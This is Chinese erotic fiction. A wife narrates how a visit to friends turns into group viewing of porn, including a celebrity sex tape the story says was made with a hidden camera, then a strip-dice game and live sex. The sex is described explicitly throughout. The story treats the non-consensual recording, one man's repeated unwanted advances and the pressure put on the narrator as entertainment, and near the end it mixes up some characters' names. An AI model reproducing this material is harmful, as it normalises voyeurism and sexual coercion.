图片载入中

亲密的代价

特大字】 【大字】 【中字】 【小字

叮当!叮当!

老公按了门铃,在一阵匆促的脚步声中,雪莉来开了门。

“嗨!好久不见。”

“对啊!好久不见。”

“赶快进来,阿健和淑敏已经来了呢。”

进入宽敞的客厅,沙发上的阿城和阿健与淑敏都站了起来,几个人又是一阵 寒喧。

虽说是好久不见,但其实只不过经过十多天而已。

但老公和他们几个热切的样子,就真的好像几个月甚至几年没见面了一样。 我微笑着和雪莉及淑敏分别拉了拉手表示亲近,就一起坐在沙发上。

阿城和阿健都是老公高中的同学,大学又考上同一所,虽然不同系,但感情 却好得和亲兄弟差不多,因此大学毕业都十几年了还经常混在一起。

阿健因为念体育系,长的高大粗犷,身高至少185,现在高中当体育老师 ;阿城较瘦弱,但天生一付做生意的口才和嘴脸,果然毕业后就到一家国际药厂 当业务,目前已经是分区经理,他的老婆雪莉则是做保险业务,与阿健的老婆淑 敏是同一公司的同事,说起来阿健当初还是雪莉做的媒介绍给淑敏的呢。 而这里是阿城和他老婆雪莉位于台北东郊的一栋三层楼小别墅,虽然地段有 些偏远,但在都会区已是相当难得的幽静处所,如果工作性质自由,像阿城和雪 莉那样的职业,倒是满合适的住所。

换成是我这样天天必须赶打上班卡,回家又要带小孩的上班妇女,那就无福 消受了。

事实上为了到这里来,我还得一大清早先将小女儿蓉蓉送回娘家,请我妈妈 代为照料一天呢。

又像是今天虽约好中午12点到这里来吃饭,明明从家中到这边需要一个小 时,但在10点多临出门前,老公却不知为什么还一直嫌我所穿的衣服,一下说 太过老气、一下说不太休闲、一下又说不够轻盈,我一换再换,气的几乎不想和 他一起来了。

最后在他好说歹说求爷爷告奶奶之下,才穿了一套两件式的粉蓝色麻纱无袖 上衣和短裙,然后搭配一双白色的系带高跟凉鞋出门。

结果刚刚瞄一下手表,到这里来都已经12点半了,虽说路程远,但迟到还是 让我觉得很不好意思。

还好阿城和阿健夫妻四人刚刚好像在看电视,所以至少会转移了他们一点对 我们迟到的注意力吧。

不过坐进沙发时萤光幕已经熄灭了,所以也不知道他们刚刚看的是些什么。 雪莉马上过来拉我们起身进餐厅,我这时才注意到她今天穿的真时髦,一件 连身式的白色细肩带针织超短迷你洋装,裙长只稍稍掩盖过她小巧圆翘的臀部, 露出修长的双脚穿着黑色高跟凉鞋,让她曲线玲拢的身材表露无疑,亦将她半露 出的胸部烘托的更为迷人。

我再看看淑敏,她则是穿着一件橘红色棉质小可爱,露出她纤纤的水蛇腰和 白嫩肚皮,配上黑色短皮裙和长统皮靴,身材亦是一般的出色。

看起来我还是穿的最保守的,不过每一次的情况总是这样,我有时都要怀疑 老公这么爱跟阿城他们在一起,会不会是因为喜欢看她们的老婆。

有几次我忍不住试着旁敲侧击地问他,他却支支吾吾随口就交待过去了,不 过反正和她们也不是成天见面,我也就不再为难他。

但现在转过头去看看老公那个死样子,他的眼光却似乎又有意无意的停驻在 雪莉和淑敏身上打转,让我不得不拍他一下,提醒他稍微收敛一点。

说起来,雪莉和淑敏真的有条件这么穿。

我虽然也自认长得相当吸引人,晶莹的美目、窈窕的身材、修匀的双腿与凝 脂般的肌肤,向来都是男人目光的焦点,但天生娇弱腼腆的个性以及家里从小的 教养,都让我再选择衣着时适可而止,当然还有上班的公司也不容许我们穿的太 暴露,更何况我现在都当妈妈了,所以买回来的衣服虽然多能展现我的身材优点 ,但都不至于露的太过分。

然而雪莉和淑敏就不同了,她们年纪比我要小2、3岁,都还没生小孩,雪 莉比我高又比我瘦,一头乌黑俏丽的短发,一对令人无法直视的清澈双眼,还有 一个精致分明却又英气十足的美丽脸庞,修长的身材配上胸前两颗浑圆的乳房显 示十足干练的行动力。

淑敏则比我稍矮又略为丰腴一些,她的身材也十分匀称,但三围更为突出, 尤其硕大的豪乳更是引人遐思,经过挑染的垂肩直发,让她原已娇美可爱的容貌 更加妩媚动人。

而她们的皮肤虽没有我那么白皙,但仍保养的光亮洁透。

特别是她们的个性都属于开朗活泼爱玩爱闹那一型,职业上的自由度也比较 宽广,所以爱穿什么就穿什么。

我曾私下问她们:“老公都不会管吗?”

她们两个开完笑着对我说:“敢管就休了他们!”

,但事实上的原因,我想可能还是阿城和阿健当初认识她们,就是喜欢她们 的开放的个性和作风吧。

不过风气真是会互相感染的,所以我现在只要是和她们在一起时,穿着衣服 也比较大胆,老公也一改以前小气提防的心态,有时还会主动要我多多注意配合 一下她们的穿着,像今天要出门前就是这样,真是令人又好气又好笑。 六个人在餐桌上说说笑笑,加上喝点红酒助兴,一顿饭在愉悦的企氛中很快 就用毕了。

尤其是阿城,大概是长期跑业务的关系,黄色笑话不断,一个比一个露骨, 将他如何和医院总务与医生们到声色场所玩乐的事夸张的讲个不停。

以前初闻他的言词的确相当刺耳,但从他们搬家到这里,每个月到他们家度 过周末下午一两次,前后已近半年,经过这么久的时间后,我也差不多习惯他的 言论尺度了。

而且他今天还特意泄露老公婚前和他、阿健三个人一起到处荒唐的往事,什 么酒店、宾馆乱七八糟的过去,过程巨细靡遗。

害得老公只好无辜的看着我,然后当面要求大家证明那些都是陈年往事了, 在他婚后真的什么都没敢再做了。

当然聪慧如我者怎么可能就此相信,心想回家后一定要再好好拷问老公。 不过,我真的有点讨厌阿城这样的人,因为口沫横飞、言不及义,根本不知 道他说的是真是假,还经常出莫名其妙的状况给你。

像他不时会夸我“巧妮好漂亮!来来!香一个!”

然后作势就要扑将过来,害我不得不赶紧惊叫逃离开。

有一回还真被他抱住,还好我挣扎一下他就放开了。

还有两三回,他会到我耳边说:“巧妮今天穿的三角裤很性感喔。”

虽然不知道他是不是真的曾经窥见我裙中的内裤,但已让我在他面前必须三 五不时注意调整一下坐姿。

然而令自己有些意外的是,偶尔在出门到他家前,会突然想一下当时穿的内 裤样式和颜色是否合宜。

这个念头会什么会出现?

我实在不知所以,内心也异样的发窘,但有几次却还真会因此临时换掉身上 原来穿的内衣裤。

今天就是如此,当出门前老公频频催促我换衣服的时候,我就背着他脱掉原 来身上的一套肤色内衣裤,另外换穿一套更性感的鹅黄色蕾丝内衣裤。 当然阿城不是只对我这样,对淑敏也是如此,这也让我感到稍微安心一点。 但淑敏似乎满热衷此道,好像演戏一样经常和他搭配的天衣无缝,当阿城抱 住她时她就会回抱的更紧,甚至还真的互亲脸颊、互相抚摸起来。

我不知道阿健怎么看待淑敏的热情表演,原本我也满同情阿健的,因为他是 那种高高壮壮却看起来没有什么心机的人,不爱说话也不爱现,娶到淑敏那样活 泼的老婆通常会被管得死死的。

然而有一次不小心在厨房中却让我撞见阿健似乎正与雪莉拥吻,听到我进去 的声响时,两人才急忙分开,从此让我原来的印象彻底改观,我甚至怀疑他们两 对夫妻关系的真正情况究竟是怎么一回事。

我曾经将这些情形和心中这个疑问去问老公,老公只连说不可能!

不可能啦!

要我不要再随便胡思乱想。

反正无论如何,事实上这些也都不关我的事,只有管住自己的老公,让他的 眼光不会四处飘移到其他女人身上,甚至不小心陷入人家的情欲漩涡中才是最重 要的。

不过一瞥见他的眼睛现在还是在雪莉和淑敏的身上打转,我想回家后真的需 要好好和他谈一谈。

我有时候不免会怀疑到这里来共渡周末下午的必要性,毕竟这里是老公朋友 的家,他爱来是一回事,为什么每次都一定要我陪他来?

但老公对我和他一起来却相当的坚持,另方面我也担心如果我没来,老公会 不会也跟雪莉和淑敏纠缠不清起来。

所以虽然有些不愿,也只好每次都陪着他一起来,只是苦了女儿蓉蓉,而且 每回又都要牵累妈妈带着她。

但平心而论,我对雪莉和淑敏也十分好奇,甚至有些羡慕。

她们两人对我真的不错,在我面前也少有保留,算是颇谈得来的朋友,所以 我们三个女人偶而还会相邀一起去逛街。

其实和她们上街是另一种奇特的经验,三个美貌如玉、身材姣好的女人走在 一起,吸引到的苍蝇蚊子还怕不够多吗?

尤其她们两人的衣着又特别性感,害我每回和她们一起出门,也要放宽一下 衣着的尺度去配合她们,就这样三只花蝴蝶翩翩在街头翱游,让我又多恢复了几 分婚前的自信。

后来我才知道,雪莉和淑敏两人原来也是大学同学,两个人都来自破裂的单 亲家庭,在中学时就已经离家自力更生了。

只是雪莉没到大学毕业就被三二退学了,据她自己说是玩得太野的结果。 淑敏比较幸运,虽然成绩都在及格边缘,但至少毕了业。

她们告诉我,她们两人在大学时就是学校中的一对迷人的交际花,加上她们 的观念开放,因此拜倒在她们石榴裙下的男生可说不计其数。

如果她们没骗我,当时和她们做过爱的男人少说也有四、五十人,她们还说 她们最拿手的是和同一个男生在床上玩3P,那是我第一次听到3P这个名词,我问

她们什么是3P时还着实彻底的被她们取笑了一番。

当然遇到给分严格的男教授,她们也会用这个床上绝招来对付,所以每学期 至少都能勉强过关。

至于为何雪莉最后还是被三二,她的讲法是那个学期所修的课,不幸是女老 师的课占大多数的缘故。

但淑敏却私下告诉我,当年有位已婚的男教授食髓知味,纠缠她不放,甚至 提出许多过分的要求,最后她实在不堪其扰才愤而向校方检举,结果落得她和那 个男教授两人都离开学校的下场。

自从知道这件事后,我对于雪莉的观感便完全改变,甚至同情她当时的处境 ,对她开放的行径也开始有所理解。

反观我自己,虽然已经31岁,但从小就被众人呵护着长大,从就学到就业一 直有人照料,没吃过什么苦。

和我原本周遭的人比较起来,我以为我算是比较好奇爱玩的了,但遇到雪莉 和淑敏,才知道简直差了十万八千里,尤其是她们的性经历实在超过我的生活圈 太多了,根本是我无法想像的境地。

虽然我因为美貌和气质出众所以从来不乏众多追求者,即使婚后还是有些男 人搞不清楚状况不时向我表达倾慕之意,但我的性观念一向较为保守,可不是个 随便的女人。

曾和我上过床的男人,除了老公之外,就只有两个婚前的男友,所以也仅有 三个男人的做爱经历罢了,实在无法想像和四、五十人性交过的经验到底会是什 么滋味,因而我也对她们的经历越发好奇。

每次聚会时,她们在她们老公背后,还是会对我谈她们的过往种种,包括工 作上的事,有时不经意的会提到婚前为了争取保险业绩而必须牺牲色相甚至自愿 献身的往事,我又不禁咋舌以对。

至少我的工作只有一些有色无胆的男同事做做无聊的小小性骚扰而已,还没 听过因为工作上的现实压力而必须真枪实弹上床的事。

至于婚后的现在,是不是还得应付这种工作上的麻烦,她们只是暧昧的笑一 笑,对我说以后再跟我讲吧。

餐后男人到客厅休息,我和淑敏则七手八脚的将餐桌收拾干净,顺便帮雪莉 一起洗碗盘。

以往餐后的娱乐大概就是打麻将,但今天却一直没听到布置麻将桌椅的声响 ,回到客厅后才知道男人们在看光碟。

没想到抬头一看,萤光幕上竟是男女肉搏战的色情光碟,我猛然想起原来在 我和老公进门之前,他们两对夫妻就是在看这种影片啊。

雪莉和淑敏马上就在她们老公旁就座,我虽有些不情愿,但既然大家都不在 乎,我也只好在老公身旁坐下。

当然我不是第一回看这种影片,但以往顶多私下和老公在家调情时两个人看 看,还没有和这么多不相干的人一起观赏的经验。

大家还是一边喝着红酒,一边看萤幕。

这是一片日本的全裸无马赛克的光碟,随着影片中男女主角宽衣、对吻、互 相吸吮生殖器、最后狂抽猛插性交狂欢,色情片永远都是这一套。

但这回在女主角的浪叫声中,却多了众男女的讨论和调笑。

“呦!这男的鸡巴好粗大喔。”

“有没有我的粗呢?”

“死相!”

“这女的小穴好嫩呢!”

“对呀!还水水的,不比你差哩。”

“你很讨厌啦!”

“哎呀!怎么会有这种性交的方式呢?太神了!”

“你也可以试看看啊!”

“呵呵!”

大概是刚刚餐桌上喝了一点酒,大家讲话已经肆无忌惮起来,这些淫秽的话 对我来说相当刺耳,至少我自己还是讲不出口的,连我和对老公做爱时都是如此 ,更何况是在众人面前。

但大家看看讲讲也就算了,我也不想就此扫了大家的兴。

好不容易片子播完了,阿城却又神秘兮兮的拿出另一张光碟片,要大家猜是 什么内容?

虽然知道那八成又是色情片,但大伙儿七嘴八舌东猜西猜,哪里猜的到那是 什么内容?

最后阿城才面带邪恶的公布答案。

“这是这两天闹的满城风雨的某当红女星的作爱光碟喔。”

“啊!……”

大家不禁惊唿,那是某个号称最美丽、最有文艺气息的当红影视多栖女明星 ,最近传出在与某大亨交往时,被狗仔队事先安装的针孔摄影机所盗录下来的一 片在五星大饭店作爱的光碟,女星和大亨虽都分别召开记者会严辞否认,但据报 章杂志登载的报导和部分图文,却又是煞有其事的样子。

我虽对这种行为不齿,但好奇心向来旺盛的我,这下子却也和众人一样,迫 不及待的想看看这片光碟的内容究是什么。

在众人的期盼中,光碟开始播映,画面不是很清楚,音效也很差,但重点部 位却都看得到,声音也可以辨认。

尤其女星的面目和私处,都相当清楚。

在宽衣解带后,那女星自己褪下身上仅有的白色三角裤,然后一嘴吸住大亨 的鸡巴上下滑动,发出淫荡的啧啧声响,最后还自己坐在大亨身上,握住那条鸡 巴往自己的黑茸茸的阴户中送进去,然后嗲劲十足的狂叫“哥哥……快呀……舒 服呀……”

等淫声浪语,实在和她平常所特意表现出来的知书达礼、聪慧温婉的形象完 全不同,也终于叫人见识了什么叫做表里不一。

光碟已近尾声,大家转而开始讨论起影剧圈的种种黑幕。

阿健在未当体育老师前,因为体格健硕曾被星探相中,演了几出不知名的电 视剧,他就说影剧圈内的淫乱实是外人所难以想像,还举了几个他知道的实例告 诉大家。

阿城也把声色场所中传闻的女星价码拿出来做比较,还以他从某些医生听来 的消费经验来分析验证顺便品头论足。

淑敏也诉说她的客户中某些担任经纪人者曾告诉她的替女星和大户拉皮条的 种种经过。

一说到社会中的淫乱现象,依我的看法,归根究底还不是男人喜欢物化女人 的天性所造成的结果,特别是纨裤子弟以追求名女星为乐才形成某种恶性循环。 于是我也提高了兴致,提出我的观点加入讨论,就这样你一言我一语,将客 厅中的热络气氛又带到了高点,我的心情更随之放松,还不经意的又多喝了些红 酒。

其实众人皆有不同意见,这种讨论本来就不会有什么结果的。

但是雪莉后来有句话,却一直在我脑海中盘旋,她对我说的“女人在影剧圈 只是被利用来赚钱的工具却无所得”的讲法,只淡淡地回应“也许她们也从中得 到意想不到的乐趣,因此才会无法自拔吧。”

我不经意的将这句话联想到她在职场上争取业绩时与男人上床的往事,难道 …

她说的是她自己的经验吗?

我是不是想的太多了一点。

影片终于播完,讨论也告一段落。

有人提议打麻将,但却有更多人反对。

“每次都打麻将,烦不烦啊!”

“对嘛!来点新鲜的啦。”

“是啊!HIGH一点的好不好啊!”

就这样又一阵七嘴八舌,还是讨论不出接下来要做什么。

阿城突然收起嘻皮笑脸,正色道:“嗯!这样好了!”

“我们就来玩一个最刺激的。”

“耶!好啊!…”

我同其他人一起叫好。

“但是在场的任何人都不能反对。”

阿城又面色凝重的说。

“好啊!好啊!……”

大家都一致说好。

“如果有人反对,就要任凭他人处置喔。”

阿城继续道。

“好!好!……”

我有点犹豫,但可能酒喝多了点,还是跟大家一起同意。

阿城又重新换回嘻皮笑脸。

“到底要玩什么?快点说啦。”

大家催促着阿城。

阿城缓缓的说出他的游戏。

他说要玩掷骰子。

掷骰子有什么了不起?

那又有什么刺激?

但是听完他的游戏内容,却叫我脸上一阵红一阵绿。

原来他要大家玩的掷骰子不是像以前一样赌钱或是赌酒,而是要赌脱衣服, 也就是六个人一起掷骰子,每轮最输的人就要自己脱一件衣服,最后看谁运气最 背,最先脱光光。

我的天啊!

哪有这种玩法?

但是雪莉和淑敏两个人却马上狂唿叫好!

阿健和以往一样不说话却点点头。

我只能寄望老公出言反对了,赶紧伸手去紧握住老公的手。

“好!”

从老公口中却吐出了我最不想听见的字,我不可置信的转头去看老公,却瞧 见他的眼光又停留在雪莉和淑敏的身上。

这时候除了老公,其他四个人八只眼睛都一起投向我,等着我的答案。 我真的好想说不,但不知怎么的,就是没有勇气说出口。

“巧妮,别忘了刚才的约定喔,你如果现在不同意就要任凭我们处置哦。” 阿城面带邪恶的将眼睛盯向我短裙下的白皙双腿说。

我连忙将双腿又并拢一些。

糟糕!

这下可后悔莫及了,刚刚未经深思,答应的实在太快了。

我早该知道阿城从没什么好心眼。

如果我落在他手中任凭他处置,下场只会更惨,他又不知会出什么样的馊主 意来整我了。

我又想起他之前张开双手环抱着我的恶心嘴脸,心中一阵心慌。

但是老公呢?

老公这时应该出面替我解围吧。

老公!

老公!

我心中暗暗叫着,希望他能回头看我一下,了解我的心情,赶快替我解决这 个难题吧。

但老公依然将眼光对着旁座的雪莉和淑敏,我心中的忌妒和不满顿时上升到 最高点。

这个死鬼!

我就知道,他妄想看一看雪莉和淑敏的肉体已经很久了,这个游戏的建议对 他来说,就像如鱼得水一般深合他意,甚至让他妻子的肉体同时让别的男人欣赏 也毫不以为意。

可恶!

可恨!

好!

很好!

既是如此,难道以我的身材就会怕被别人看啊?

就这样,念头七转八转之下,心中一横,于是也开口说“好!”

众人大乐,但是我又不急不徐道:“不过,我有一个条件,如果你们不答应 ,那就拉倒不玩。”

大家连忙要我说说是什么条件。

在刚刚暗下决定同意之时,我也静下心来寻思自己到底穿了几件衣服,有多 少赌骰子的本钱。

今天的外衣一共两件、加上胸罩和内裤,还有两只凉鞋共六件,可能和淑敏 差不多,比雪莉多一点,三个臭男人也差不多五、六件,这样根本占不了什么便 宜。

但如果能加上耳环、项炼、戒指、手表这些小玩意,男人一定比不过女人, 而我可能又是众女人里面赌本最多的。

所以我所开出的条件是除了衣服之外,也必须加上全身上下的所有饰物才行 。

男人们闻言纷纷摇头反对,因为他们吃的亏最大。

但雪莉和淑敏则站在我这边表示支持,最后这三个臭男人大概因为色欲熏心 ,怎样也不想放过这个窥见三个如花似玉的美女一起在这里尽撤藩篱的大好机会 ,最后还是答应了下来。

阿城到楼上去取骰子,雪莉则进厨房去拿一个瓷制大碗公,于是在两粒骰子 与碗壁互相碰撞的叮零叮零声中,游戏开始了。

第一轮竟是我的点数最少,但是没关系,我把左耳的耳环给取了下来。 第二轮是阿健最少点,他将手中的手表脱下。

第三轮则是阿城拿个“BG”,理所当然是他输。

他一面耍宝一面对大家解释“B者‘屄’也,G者‘鸡’也。”

在众人的笑闹声中,他竟放着有其它东西可脱不管,自己先脱掉了下身的长 裤,当然又惹来一阵哄堂讪笑。

就这样十几轮下来,胜负的成果已经有了端倪,阿健身上只剩下一条三角紧 身黑内裤;阿城还穿着豹纹小内裤和两只黑短袜;老公也还有上身的T恤、下身 的白色平口内裤和一只袜子;我还好饰品不少,所以还留有无袖上衣、短裙及里 面的胸罩和三角裤,另外还有一只凉鞋;雪莉身上的细肩带针织超短迷你洋装还 在,里头应该还有胸罩和内裤;最惨的是淑敏,只有剩下红色的半罩式胸罩和低 腰半透明的纱质三角裤,胸罩内的乳晕和内裤中的乌黑草丛都已经若隐若现了。 万万没料到,这时阿城又站起身来出馊主意了,他嘟嘟囔囔着“这样还不够 刺激!不够火辣!”

既然玩兴已起,大家就再听听他倒底还有什么鬼怪的建议,没想到他的意见 果然有够劲爆。

他的提议竟然是我们三对夫妻,等会儿如果同对夫妻中的一个已输到脱个精 光,仍继续掷骰子参加游戏,但再输的话则由其夫或妻脱衣为他相抵,也就是最 后夫妻俩人将有一起脱光的机会,而夫妻两个人都输到脱光的最先一对,就要当 场做爱给其他夫妻们观赏。

这下子我又被吓住了,但雪莉马上唿应她老公的建议,阿健和淑敏也说好, 又仅剩下我和老公两个人还没表示意见。

老公看看我,大概见我面显难色,低头贴近我耳朵说:“你看看阿健和淑敏 ,他们剩下的衣物最少,待会儿一定是他们输,我们可以赌赌看。”

我瞪了他一眼,这种荒唐事也可以赌啊!

但是我本来的个性就有点好奇,又爱作弄人,加上老公说的没错,目前的态 势下我身上的衣物是最多的,老公也不少,应该不至于会落到两个人都脱光光的 地步吧。

愈想愈对,从来也没看过别人现场做爱究竟是个什么景象,说不定今天就可 以开开眼界喔。

于是我也终于微微地点了点头,老公见状喜出望外,高声道“好!好!” 游戏重新开始,接下来果然是淑敏输了,她二话不说站起身来,当众脱下她 的胸罩,原本已几乎遮掩不住的豪乳马上蹦跳出来,两颗红嫩嫩的乳头在两片乳 晕上挺立,没想到她的乳房竟是如此好看,不要说是男人了,现在就连我的目光 都驻足在她的胸前不放。

淑敏将脱下来的胸罩丢在椅背上,接着毫无羞赧之色的自己握住双乳做势搓 揉一番,还贴近阿健的脸颊去搔弄一番,两个乳头马上绽放的更加艳丽,阿城和 我老公叫好连连之下,也不管我和雪莉的意见,直说等一下其他女人也要比照办 理。

雪莉则不甘示弱,马上提议待会男人脱光裤子时,也得要套弄自己的阴茎一 番才行,没想到男人们果真也表示同意。

接下来雪莉连输了两把,于是她接连将细肩带针织超短迷你洋装缓缓褪去, 又将里头的无肩带白色花边半罩式的单薄胸罩也脱下来丢在阿城的头上,露出香 软迷人的乳房,于是身上只剩下一件紧包住阴户的白色花边丁字裤。

她的乳房也很可观,虽没淑敏的规模大但更为圆翘,乳晕则较淑敏为小但乳 头却更尖挺,当然她也紧紧握住自己的乳房,更用两手的大拇指分别在双边的乳 尖上抠弄,直到粉红的乳头耸立并变成诱人的桃红色,便将变得又尖又长的乳头 送到阿城口中让他吸吮,于是众人大乐,叫好不绝。

但没有想到最先输到脱光衣物的,反倒是阿城,阿城脱下豹纹内裤后,马上 夸张的握住他那根已经直挺饱胀的阴茎,前后套弄几下仍意犹未尽,干脆放到雪 莉面前,让她伸出舌尖去舔他龟头上的马眼,阿城原本顺势要将整只鸡巴塞入雪 莉的嘴巴中,雪莉却笑着推开他说:“不行!不行!游戏还没完呢。” 接下来则是阿健输了,他脱下仅剩的黑色三角内裤,没想到他下身胀大的鸡 巴竟然那么粗又那么长,果然符合他的体育老师身份。

我面红耳赤的偷偷瞄着他那条大家伙,如以我所曾见过三个成年男人的阳具 与他们相较,阿健这条鸡巴应是最巨大的了,刚刚看到阿城的那只则算是较短的 ,但阿城的龟头却是不成比例的隆起,好像带着一颗膨胀的兵乓球般的奇特模样 。

这时全身赤条条的阿健,也履行约定抓住自己的鸡巴前后套弄一番,不过他 马上就坐了下来,并没像阿城那样夸张的表演,但等他一坐下来后,淑敏就马上 靠过去用手轻轻抚弄他的鸡巴,让他的大肉棍举抬的更厉害,好像只一条眼镜蛇 般的瞪视着周遭的人。

胜负似乎很快就要分晓了,但命运之神却好像有意存心作弄,因为再来的几 把,竟然都是我和老公输。

老公脱到只剩下一条内裤;而我,则先脱下挂在左脚边的凉鞋,接着又脱下 无袖上衣,然后又脱下短裙,所以也只剩下上身的鹅黄色胸罩和下身的三角裤了 ,这套胸罩和三角裤的大半部都是透明蕾丝镂空的,我身上最私密的三点要害都 隐隐可辨,显得性感无比。

我这时突然想到还好出门前曾换过这套比较性感的内衣内裤,否则原来出门 前身上所穿的那一套肤色内衣裤,如与雪莉和淑敏今天穿着的内衣裤相比,实在 太平常、太保守了,…

这个想法虽然稍纵即逝,但仍令自己为之一惊,怎么已经在旁人面前暴露自 己的同时,还会出现这样莫名其妙的想法呢。

然而坏运道却还没结束,在阿城与阿健目不转睛的紧盯着我身上瞧时,我果 然又输了这一把。

我心中噗通噗通的跳着,有点失神似地起身,一点也不敢将目光与其他人交 接,然后平生第一次在这么多人的注目之中,从背后解下蕾丝胸罩,两手则赶紧 环抱在胸前。

但在众人声声催促中,我也只好慢慢将双手放下,我的乳房并没有淑敏和雪 莉两人的乳房大,但我皮肤本来就白嫩剔透,配上两颗大小适中、曲线玲珑的椒 乳,反而别具美感。

我半闭起眼睛,试着学起淑敏和雪莉刚刚的模样,发窘地将自己的手掌移往 前胸握住两边的乳房,又用手指尖分别去碰触两个乳头,胸前传来阵阵酥酥麻麻 的感觉,根本不知怎么样才度过这漫长的几十秒,最后在全身发烫中赶紧回座, 等到又听见众人的叫好声,这才又回神过来。

我再偷偷望一望大家,这时大家的眼中都好像已满布着血丝,在三个女人活 色生香的半裸玉体前,三个男人的阴茎包括还包在老公内裤中的那一条,都早已 不安分的昂扬吐信,气氛在不安和凝重之中却又带着几许的春意和兴奋。 万万没想到,老公也输了接下来的一把,我心中马上又加深了几分沉重。 老公倒像若无其事一般,站起来脱下内裤,前后套弄他的鸡巴几下就坐了下 来,但龟头上的马眼已可看到滴滴水光在闪烁。

胜负的确已到了最后关头,现在三个男人都已经一丝不挂,三个女人也都只 剩穿在下半身的一条内裤,必须上场做真枪实弹的表演的人到底是谁? 马上就要揭晓了。

在惶惶不安之中,众人陆陆续续的将骰子丢到碗公中,阿城先丢,十点;雪 莉次之,七点;老公,也是七点;我竟只有五点;阿健则丢出九点;现在只剩下 淑敏一个人还没掷骰子了。

除非淑敏掷出五点以下,否则输的人就是我了。

但是掷出五点以下的机率,却似乎不太多…

我闭起眼睛祷告,心中丝毫准备都没有,…

完了!

难道,…

难道真的会是我最少点,老天保佑!

我不要!

我不要脱内裤!

我不要现场表演做爱!

我不要!

我不要!

怎么会这样,…

怎么办?

怎么办?

如果真的是我最少点怎么办?

我要抵赖吗?

还是真要表演?

做爱就做爱,性交就性交,又不是没性交过,不过就是将阴茎插进自己的阴 道内嘛,平常和老公还不是玩的兴高采烈,…

但是,…

懂事以来,我哪里曾在众人面前脱个精光,更何况还要现场表演性交给大家 看,…

豁出去吧!

就和平常一样,让老公插插小穴罢了!

不!

不要!

我不要暴露自己的私处,更不要让小穴插着鸡巴给大家看…

好啦!

没关系啦!

顶多一、二十分钟就过去啦。

不行!

不可以!

心中交杂着数不清的矛盾…

叮零叮零,骰子声终于完全停顿下来,我不敢睁开眼睛,却只听见众人的欢 唿声,莫非淑敏赢过我吗?

难道真是我最少点吗?

“巧妮!”

好像是雪莉握住我的手,“巧妮!你要失望啰!……”

雪莉对我说。

一听她这么讲,我心中一沈,…

完了!

毁了!

真的是我,唉!

真的是我!

算了!

不管了!

愿赌服输,我豁出去了!

心里头又一横,脱就脱吧,干就干吧,凡事总有第一次吧,…

在欢唿尚未止歇前,我鼓起十足的勇气,睁开眼睛,突然站起身来,双手迅 速将下半身仅剩的蕾丝三角裤往下拉,露出了后面浑圆光透的屁股,也露出了前 面毛茸茸的私处,然后将脱离开双脚的三角裤,拿在右手边提了上来。 原先热烈的欢唿声嘎然停止,大家似乎都被我的举动吓了一跳。

“巧妮!你干嘛,又不是你输,……”

雪莉再度拉住我的手笑着说。

稍顿一会儿,又响起众人的爆笑声。

哈哈哈…

哈哈哈…

哈哈哈…

这时我才敢看一看碗公中的点数…

平躺在碗底的骰子,一个两点、一个壹点,加起来只有三点,天啊!

淑敏只掷出了三点。

我赢了淑敏,…

我赢了。

那…

那我脱内裤干什么?

我羞得简直无地自容,赶紧坐下来,用已脱在手上的三角裤掩盖住自己的私 处,好让那已经被浏览过的黑不熘丢的毛茸茸方寸之地,不再轻易在众人面前曝 光。

“如果你迫不及待想要抢着表演,那我就拱手让贤啰”淑敏笑着对我说。 “喔!不!不!还是你来好啦。”

我赶紧回答。

“不然你们都一起来好了。”

雪莉开玩笑地说。

“不行!不行!”

我赶快推辞拒绝。

我这一下子的意外状况,又让客厅的气氛进入另一个高潮,我先瞄一下老公 ,老公似乎对即将到来的现场表演更感期盼,对我刚才的盲动也不以为意,让我 宽心不少。

但我不经意瞥见阿城和阿健两人胯下的阴茎,却似乎因为我方才的举动而又 更翘更硬了不少。

阿城更偷偷将右手放在自己龟头上逗弄两三下,然后恶意的对着我邪笑,让 我赶紧低下头,心中又扬起了一种说不出的不安与异样感受。

趁着众人开始转移注意力去欣赏淑敏和阿健的表演,我连忙将脱到手中的蕾 丝三角裤又赶紧穿了回去,只是私处现在好像已经出现了黏黏湿湿的感觉。 我将身体倚靠在老公身旁,他便顺势将手环放在我的肩头上,也让我心中的 不安,稍稍转为踏实。

好戏终于要开演了,雪莉立起身来,先故作自怜似的转了个圈,然后用双手 抚遍自己的全身,尤其在胸前揉捏个不停,她的两颗肉球上下左右晃动,真正叫 人目不暇给。

就在众人的惊叹和掌声中,她扭动身躯,缓缓地褪去半透明的纱质三角裤, 原本在三角裤中隐约可见黑丛丛的一团,马上毫无遮拦地显现在大家眼前,她的 阴毛又多又密,突起的阴户也被层层隐蔽住,不太看得见私处间的裂缝。 没想到藩篱尽撤的她又转了一圈后,竟半躺半坐在沙发上,先将双脚都抬放 到沙发上成M字型,然后用双手扒开自己阴毛丛中肥厚的水蜜桃,让草丛里面红滋

滋的阴唇和小穴整个展现在大家的面前,连阴道口上方的小肉蕾都已突出的清晰 可见,她这么直接大胆而放浪的姿势,让我们的眼睛也因此差点都激凸了出来。 淑敏接着示意阿健向前,两人深情的拥吻不停,阿健的双手不停地在淑敏身 上游走,淑敏则以左手握住阿健的鸡巴套玩着,然后两人很有默契的翻转成女上 男下的颠倒对卧姿势。

阿健扒开淑敏的阴户,用舌头往小穴里头舔吮,淑敏则将阿健的阴茎塞进嘴 巴内上下套动,在两人的私处都已洋溢着一大片不知口水还是骚水之后。 淑敏转过身面对躺在沙发上的阿健,右手抓住阿健更加高昂的粗大鸡巴,蹲 着将屁股抬高,然后把龟头对准自己湿淋淋的肉穴轻轻压坐下来,阿健则一面扶 住淑敏,一面将臀部往上挺动去迎合鸡巴在小穴中的紧凑进出。

“唔……唔……啊……啊……”

在淑敏的喘叫声中,望着她骑马式的上下浪动,飞散的乱发和晃动的巨乳, 以及她胯下阴户中紧紧吸住鸡巴翻动的小肉圈,还有阿健那根越冲刺越大条的肉 棍和激烈晃荡的阴囊,让我的全身不由得更热更烫了。

我从来也没亲眼见过别人在自己面前做爱,这种视觉上的刺激让胸中出现了 一股闷气,想要纾发出来却又无处可解。

还好老公原本环放在我肩头上的手,正好不安分的袭上我胸前,手指头也开 始绕着我的乳晕画圈圈,接着又逗弄起我的乳头,一阵一阵又痒又酥的快感,反 让我稍稍解去心中难以言喻的苦闷。

没想到就在这时候,阿城也将雪莉推倒在地毯上,将她那件仅包住要害的丁 字裤也给剥了下来,接着将雪莉修长美丽的双腿左右分开,头则埋进雪莉的阴户 中啧啧地吃了起来。

雪莉的阴户只有稀疏的阴毛,隆起的耻丘就像个肉包,白嫩嫩的十分可爱, 怪不得阿健会这么贪心的吃舔着。

